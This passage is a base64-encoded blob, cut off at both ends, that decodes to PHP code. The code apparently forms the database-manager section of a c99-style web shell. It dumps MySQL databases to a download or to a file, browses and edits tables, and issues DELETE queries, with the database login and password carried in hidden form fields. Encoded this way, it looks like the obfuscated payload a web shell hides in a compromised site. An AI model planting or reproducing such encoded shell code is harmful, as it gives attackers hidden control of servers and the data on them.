iPlNhdmUgdG8gZmlsZTogPC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfc2F2ZXRvZmlsZVwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+IjsNCiAgICAgZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJEdW1wXCI+PGJyPjxicj48Yj48c3VwPjE8L3N1cD48L2I+IC0gYWxsLCBpZiBlbXB0eSI7DQogICAgIGVjaG8gIjwvZm9ybT4iOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAkZGlwbGF5ID0gdHJ1ZTsNCiAgICAgJHNldCA9IGFycmF5KCk7DQogICAgICRzZXRbInNvY2siXSA9ICRzcWxfc29jazsNCiAgICAgJHNldFsiZGIiXSA9ICRzcWxfZGI7DQogICAgICRkdW1wX291dCA9ICJkb3dubG9hZCI7DQogICAgICRzZXRbInByaW50Il0gPSAwOw0KICAgICAkc2V0WyJubDJiciJdID0gMDsNCiAgICAgJHNldFsiIl0gPSAwOw0KICAgICAkc2V0WyJmaWxlIl0gPSAkZHVtcF9maWxlOw0KICAgICAkc2V0WyJhZGRfZHJvcCJdID0gdHJ1ZTsNCiAgICAgJHNldFsib25seXRhYnMiXSA9IGFycmF5KCk7DQogICAgIGlmICghZW1wdHkoJGRtcHRibHMpKSB7JHNldFsib25seXRhYnMiXSA9IGV4cGxvZGUoIjsiLCRkbXB0YmxzKTt9DQogICAgICRyZXQgPSBteXNxbF9kdW1wKCRzZXQpOw0KICAgICBpZiAoJHNxbF9kdW1wX2Rvd25sb2FkKQ0KICAgICB7DQogICAgICBAb2JfY2xlYW4oKTsNCiAgICAgIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsNCiAgICAgIGhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuc3RybGVuKCRyZXQpKTsNCiAgICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRzcWxfZHVtcF9maWxlKS4iXCI7Iik7DQogICAgICBlY2hvICRyZXQ7DQogICAgICBleGl0Ow0KICAgICB9DQogICAgIGVsc2VpZiAoJHNxbF9kdW1wX3NhdmV0b2ZpbGUpDQogICAgIHsNCiAgICAgICRmcCA9IGZvcGVuKCRzcWxfZHVtcF9maWxlLCJ3Iik7DQogICAgICBpZiAoISRmcCkge2VjaG8gIjxiPkR1bXAgZXJyb3IhIENhbid0IHdyaXRlIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZHVtcF9maWxlKS4iXCIhIjt9DQogICAgICBlbHNlDQogICAgICB7DQogICAgICAgZndyaXRlKCRmcCwkcmV0KTsNCiAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICBlY2hvICI8Yj5EdW1wZWQhIER1bXAgaGFzIGJlZW4gd3JpdGVkIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKHJlYWxwYXRoKCRzcWxfZHVtcF9maWxlKSkuIlwiICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkc3FsX2R1bXBfZmlsZSkpLiIpPC9iPi4iOw0KICAgICAgfQ0KICAgICB9DQogICAgIGVsc2Uge2VjaG8gIjxiPkR1bXA6IG5vdGhpbmcgdG8gZG8hPC9iPiI7fQ0KICAgIH0NCiAgIH0NCiAgIGlmICgkZGlwbGF5KQ0KICAgew0KICAgIGlmICghZW1wdHkoJHNxbF90YmwpKQ0KICAgIHsNCiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2FjdCkpIHskc3FsX3RibF9hY3QgPSAiYnJvd3NlIjt9DQogICAgICRjb3VudCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgQ09VTlQoKikgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTsNCiAgICAgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRjb3VudCk7DQogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7DQogICAgICR0Ymxfc3RydWN0X3Jlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIEZJRUxEUyBGUk9NIGAiLiRzcWxfdGJsLiJgOyIpOw0KICAgICAkdGJsX3N0cnVjdF9maWVsZHMgPSBhcnJheSgpOw0KICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2Fzc29jKCR0Ymxfc3RydWN0X3Jlc3VsdCkpIHskdGJsX3N0cnVjdF9maWVsZHNbXSA9ICRyb3c7fQ0KICAgICBpZiAoJHNxbF9scyA+ICRzcWxfbGUpIHskc3FsX2xlID0gJHNxbF9scyArICRwZXJwYWdlO30NCiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX3BhZ2UpKSB7JHNxbF90YmxfcGFnZSA9IDA7fQ0KICAgICBpZiAoZW1wdHkoJHNxbF90YmxfbHMpKSB7JHNxbF90YmxfbHMgPSAwO30NCiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2xlKSkgeyRzcWxfdGJsX2xlID0gMzA7fQ0KICAgICAkcGVycGFnZSA9ICRzcWxfdGJsX2xlIC0gJHNxbF90YmxfbHM7DQogICAgIGlmICghaXNfbnVtZXJpYygkcGVycGFnZSkpIHskcGVycGFnZSA9IDEwO30NCiAgICAgJG51bXBhZ2VzID0gJGNvdW50X3Jvd1swXS8kcGVycGFnZTsNCiAgICAgJGUgPSBleHBsb2RlKCIgIiwkc3FsX29yZGVyKTsNCiAgICAgaWYgKGNvdW50KCRlKSA9PSAyKQ0KICAgICB7DQogICAgICBpZiAoJGVbMF0gPT0gImQiKSB7JGFzY19kZXNjID0gIkRFU0MiO30NCiAgICAgIGVsc2UgeyRhc2NfZGVzYyA9ICJBU0MiO30NCiAgICAgICR2ID0gIk9SREVSIEJZIGAiLiRlWzFdLiJgICIuJGFzY19kZXNjLiIgIjsNCiAgICAgfQ0KICAgICBlbHNlIHskdiA9ICIiO30NCiAgICAgJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAgIi4kdi4iTElNSVQgIi4kc3FsX3RibF9scy4iICwgIi4kcGVycGFnZS4iIjsNCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSkgb3IgcHJpbnQobXlzcWxfc21hcnRlcnJvcigpKTsNCiAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Y2VudGVyPjxiPlRhYmxlICIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIiAoIi5teXNxbF9udW1fZmllbGRzKCRyZXN1bHQpLiIgY29scyBhbmQgIi4kY291bnRfcm93WzBdLiIgcm93cyk8L2I+PC9jZW50ZXI+IjsNCiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfYWN0PXN0cnVjdHVyZVwiPlsmbmJzcDs8Yj5TdHJ1Y3R1cmU8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9hY3Q9YnJvd3NlXCI+WyZuYnNwOzxiPkJyb3dzZTwvYj4mbmJzcDtdPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfYWN0PXRibGR1bXAmdGhpc3RibD0xXCI+WyZuYnNwOzxiPkR1bXA8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9hY3Q9aW5zZXJ0XCI+WyZuYnNwOzxiPkluc2VydDwvYj4mbmJzcDtdPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgIGlmICgkc3FsX3RibF9hY3QgPT0gInN0cnVjdHVyZSIpIHtlY2hvICI8YnI+PGJyPjxiPkNvbWluZyBzb29vbiE8L2I+Ijt9DQogICAgIGlmICgkc3FsX3RibF9hY3QgPT0gImluc2VydCIpDQogICAgIHsNCiAgICAgIGlmICghaXNfYXJyYXkoJHNxbF90YmxfaW5zZXJ0KSkgeyRzcWxfdGJsX2luc2VydCA9IGFycmF5KCk7fQ0KICAgICAgaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcmFkaW8pKQ0KICAgICAgew0KDQogICAgICB9DQogICAgICBlbHNlDQogICAgICB7DQogICAgICAgZWNobyAiPGJyPjxicj48Yj5JbnNlcnRpbmcgcm93IGludG8gdGFibGU6PC9iPjxicj4iOw0KICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKQ0KICAgICAgIHsNCiAgICAgICAgJHNxbF9xdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRzcWxfdGJsLiJgIjsNCiAgICAgICAgJHNxbF9xdWVyeSAuPSAiIFdIRVJFIi4kc3FsX3RibF9pbnNlcnRfcTsNCiAgICAgICAgJHNxbF9xdWVyeSAuPSAiIExJTUlUIDE7IjsNCiAgICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnksJHNxbF9zb2NrKSBvciBwcmludCgiPGJyPjxicj4iLm15c3FsX3NtYXJ0ZXJyb3IoKSk7DQogICAgICAgICR2YWx1ZXMgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KTsNCiAgICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgICAgfQ0KICAgICAgIGVsc2UgeyR2YWx1ZXMgPSBhcnJheSgpO30NCiAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjElXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkPjxiPkZpZWxkPC9iPjwvdGQ+PHRkPjxiPlR5cGU8L2I+PC90ZD48dGQ+PGI+RnVuY3Rpb248L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7DQogICAgICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3RfZmllbGRzIGFzICRmaWVsZCkNCiAgICAgICB7DQogICAgICAgICRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOw0KICAgICAgICBpZiAoZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7JHYgPSAiIjt9DQogICAgICAgIGVjaG8gIjx0cj48dGQ+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iPC9iPjwvdGQ+PHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT1cInNxbF90YmxfaW5zZXJ0X2Z1bmN0c1siLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiJdXCI+PG9wdGlvbiB2YWx1ZT1cIlwiPjwvb3B0aW9uPjxvcHRpb24+UEFTU1dPUkQ8L29wdGlvbj48b3B0aW9uPk1ENTwvb3B0aW9uPjxvcHRpb24+RU5DUllQVDwvb3B0aW9uPjxvcHRpb24+QVNDSUk8L29wdGlvbj48b3B0aW9uPkNIQVI8L29wdGlvbj48b3B0aW9uPlJBTkQ8L29wdGlvbj48b3B0aW9uPkxBU1RfSU5TRVJUX0lEPC9vcHRpb24+PG9wdGlvbj5DT1VOVDwvb3B0aW9uPjxvcHRpb24+QVZHPC9vcHRpb24+PG9wdGlvbj5TVU08L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiXCI+LS0tLS0tLS08L29wdGlvbj48b3B0aW9uPlNPVU5ERVg8L29wdGlvbj48b3B0aW9uPkxDQVNFPC9vcHRpb24+PG9wdGlvbj5VQ0FTRTwvb3B0aW9uPjxvcHRpb24+Tk9XPC9vcHRpb24+PG9wdGlvbj5DVVJEQVRFPC9vcHRpb24+PG9wdGlvbj5DVVJUSU1FPC9vcHRpb24+PG9wdGlvbj5GUk9NX0RBWVM8L29wdGlvbj48b3B0aW9uPkZST01fVU5JWFRJTUU8L29wdGlvbj48b3B0aW9uPlBFUklPRF9BREQ8L29wdGlvbj48b3B0aW9uPlBFUklPRF9ESUZGPC9vcHRpb24+PG9wdGlvbj5UT19EQVlTPC9vcHRpb24+PG9wdGlvbj5VTklYX1RJTUVTVEFNUDwvb3B0aW9uPjxvcHRpb24+VVNFUjwvb3B0aW9uPjxvcHRpb24+V0VFS0RBWTwvb3B0aW9uPjxvcHRpb24+Q09OQ0FUPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0WyIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIl1cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdmFsdWVzWyRuYW1lXSkuIlwiIHNpemU9NTA+PC90ZD48L3RyPiI7DQogICAgICAgICRpKys7DQogICAgICAgfQ0KICAgICAgIGVjaG8gIjwvdGFibGU+PGJyPiI7DQogICAgICAgZWNobyAiPGlucHV0IHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9yYWRpb1wiIHZhbHVlPVwiMVwiIjsgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48Yj5JbnNlcnQgYXMgbmV3IHJvdzwvYj4iOw0KICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7ZWNobyAiIG9yIDxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjJcIiBjaGVja2VkPjxiPlNhdmU8L2I+IjsgZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfdGJsX2luc2VydF9xXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmxfaW5zZXJ0X3EpLiJcIj4iO30NCiAgICAgICBlY2hvICI8YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+IjsNCiAgICAgIH0NCiAgICAgfQ0KICAgICBpZiAoJHNxbF90YmxfYWN0ID09ICJicm93c2UiKQ0KICAgICB7DQogICAgICAkc3FsX3RibF9scyA9IGFicygkc3FsX3RibF9scyk7DQogICAgICAkc3FsX3RibF9sZSA9IGFicygkc3FsX3RibF9sZSk7DQogICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7DQogICAgICBlY2hvICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPW11bHRpcGFnZVwiIGhlaWdodD1cIjEyXCIgd2lkdGg9XCIxMFwiIGFsdD1cIlBhZ2VzXCI+Jm5ic3A7IjsNCiAgICAgICRiID0gMDsNCiAgICAgIGZvcigkaT0wOyRpPCRudW1wYWdlczskaSsrKQ0KICAgICAgew0KICAgICAgIGlmICgoJGkqJHBlcnBhZ2UgIT0gJHNxbF90YmxfbHMpIG9yICgkaSokcGVycGFnZSskcGVycGFnZSAhPSAkc3FsX3RibF9sZSkpIHtlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX29yZGVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX29yZGVyKS4iJnNxbF90YmxfbHM9Ii4oJGkqJHBlcnBhZ2UpLiImc3FsX3RibF9sZT0iLigkaSokcGVycGFnZSskcGVycGFnZSkuIlwiPjx1PiI7fQ0KICAgICAgIGVjaG8gJGk7DQogICAgICAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjwvdT48L2E+Ijt9DQogICAgICAgaWYgKCgkaS8zMCA9PSByb3VuZCgkaS8zMCkpIGFuZCAoJGkgPiAwKSkge2VjaG8gIjxicj4iO30NCiAgICAgICBlbHNlIHtlY2hvICImbmJzcDsiO30NCiAgICAgIH0NCiAgICAgIGlmICgkaSA9PSAwKSB7ZWNobyAiZW1wdHkiO30NCiAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cIkdFVFwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1cInNxbFwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfc2VydmVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cInNxbF9vcmRlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiJcIj48Yj5Gcm9tOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9sc1wiIHZhbHVlPVwiIi4kc3FsX3RibF9scy4iXCI+Jm5ic3A7PGI+VG86PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2xlXCIgdmFsdWU9XCIiLiRzcWxfdGJsX2xlLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJWaWV3XCI+PC9mb3JtPiI7DQogICAgICBlY2hvICI8YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxJVwiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+IjsNCiAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94cm93X2FsbFwiIHZhbHVlPVwiMVwiPjwvdGQ+IjsNCiAgICAgIGZvciAoJGk9MDskaTxteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOyRpKyspDQogICAgICB7DQogICAgICAgJHYgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOw0KICAgICAgIGlmICgkZVswXSA9PSAiYSIpIHskcyA9ICJkIjsgJG0gPSAiYXNjIjt9DQogICAgICAgZWxzZSB7JHMgPSAiYSI7ICRtID0gImRlc2MiO30NCiAgICAgICBlY2hvICI8dGQ+IjsNCiAgICAgICBpZiAoZW1wdHkoJGVbMF0pKSB7JGVbMF0gPSAiYSI7fQ0KICAgICAgIGlmICgkZVsxXSAhPSAkdikge2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLiRzcWxfdGJsLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX29yZGVyPSIuJGVbMF0uIiUyMCIuJHYuIlwiPjxiPiIuJHYuIjwvYj48L2E+Ijt9DQogICAgICAgZWxzZSB7ZWNobyAiPGI+Ii4kdi4iPC9iPjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLiRzcWxfdGJsLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX29yZGVyPSIuJHMuIiUyMCIuJHYuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF8iLiRtLiJcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGFsdD1cIiIuJG0uIlwiPjwvYT4iO30NCiAgICAgICBlY2hvICI8L3RkPiI7DQogICAgICB9DQogICAgICBlY2hvICI8dGQ+PGZvbnQgY29sb3I9Z3JlZW4+PGI+QWN0aW9uPC9iPjwvZm9udD48L3RkPiI7DQogICAgICBlY2hvICI8L3RyPiI7DQogICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKSkNCiAgICAgIHsNCiAgICAgICBlY2hvICI8dHI+IjsNCiAgICAgICAkdyA9ICIiOw0KICAgICAgICRpID0gMDsNCiAgICAgICBmb3JlYWNoICgkcm93IGFzICRrPT4kdikgeyRuYW1lID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTsgJHcgLj0gIiBgIi4kbmFtZS4iYCA9ICciLmFkZHNsYXNoZXMoJHYpLiInIEFORCI7ICRpKys7fQ0KICAgICAgIGlmIChjb3VudCgkcm93KSA+IDApIHskdyA9IHN1YnN0cigkdywwLHN0cmxlbigkdyktMyk7fQ0KICAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHJvd1tdXCIgdmFsdWU9XCIiLiR3LiJcIj48L3RkPiI7DQogICAgICAgJGkgPSAwOw0KICAgICAgIGZvcmVhY2ggKCRyb3cgYXMgJGs9PiR2KQ0KICAgICAgIHsNCiAgICAgICAgJHYgPSBodG1sc3BlY2lhbGNoYXJzKCR2KTsNCiAgICAgICAgaWYgKCR2ID09ICIiKSB7JHYgPSAiPGZvbnQgY29sb3I9Z3JlZW4+TlVMTDwvZm9udD4iO30NCiAgICAgICAgZWNobyAiPHRkPiIuJHYuIjwvdGQ+IjsNCiAgICAgICAgJGkrKzsNCiAgICAgICB9DQogICAgICAgZWNobyAiPHRkPiI7DQogICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3F1ZXJ5PSIudXJsZW5jb2RlKCJERUxFVEUgRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHcuIiBMSU1JVCAxOyIpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25fZHJvcFwiIGFsdD1cIkRlbGV0ZVwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7IjsNCiAgICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90YmxfYWN0PWluc2VydCZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfaW5zZXJ0X3E9Ii51cmxlbmNvZGUoJHcpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWNoYW5nZVwiIGFsdD1cIkVkaXRcIiBoZWlnaHQ9XCIxNFwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyI7DQogICAgICAgZWNobyAiPC90ZD4iOw0KICAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgIH0NCiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwibGVmdFwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPjxzZWxlY3QgbmFtZT1cInNxbF9hY3RcIj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJkZWxldGVyb3dcIj5EZWxldGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT48L3A+IjsNCiAgICAgfQ0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEUgU1RBVFVTIiwgJHNxbF9zb2NrKTsNCiAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgICBlbHNlDQogICAgIHsNCiAgICAgIGVjaG8gIjxicj48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVcIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3h0YmxfYWxsXCIgdmFsdWU9XCIxXCI+PC90ZD48dGQ+PGNlbnRlcj48Yj5UYWJsZTwvYj48L2NlbnRlcj48L3RkPjx0ZD48Yj5Sb3dzPC9iPjwvdGQ+PHRkPjxiPlR5cGU8L2I+PC90ZD48dGQ+PGI+Q3JlYXRlZDwvYj48L3RkPjx0ZD48Yj5Nb2RpZmllZDwvYj48L3RkPjx0ZD48Yj5TaXplPC9iPjwvdGQ+PHRkPjxiPkFjdGlvbjwvYj48L3RkPjwvdHI+IjsNCiAgICAgICRpID0gMDsNCiAgICAgICR0c2l6ZSA9ICR0cm93cyA9IDA7DQogICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKSkNCiAgICAgIHsNCiAgICAgICAkdHNpemUgKz0gJHJvd1siRGF0YV9sZW5ndGgiXTsNCiAgICAgICAkdHJvd3MgKz0gJHJvd1siUm93cyJdOw0KICAgICAgICRzaXplID0gdmlld19zaXplKCRyb3dbIkRhdGFfbGVuZ3RoIl0pOw0KICAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHRibFtdXCIgdmFsdWU9XCIiLiRyb3dbIk5hbWUiXS4iXCI+PC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4mbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHJvd1siTmFtZSJdKS4iXCI+PGI+Ii4kcm93WyJOYW1lIl0uIjwvYj48L2E+Jm5ic3A7PC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIlJvd3MiXS4iPC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIlR5cGUiXS4iPC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIkNyZWF0ZV90aW1lIl0uIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJVcGRhdGVfdGltZSJdLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHNpemUuIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF9xdWVyeT0iLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHJvd1siTmFtZSJdLi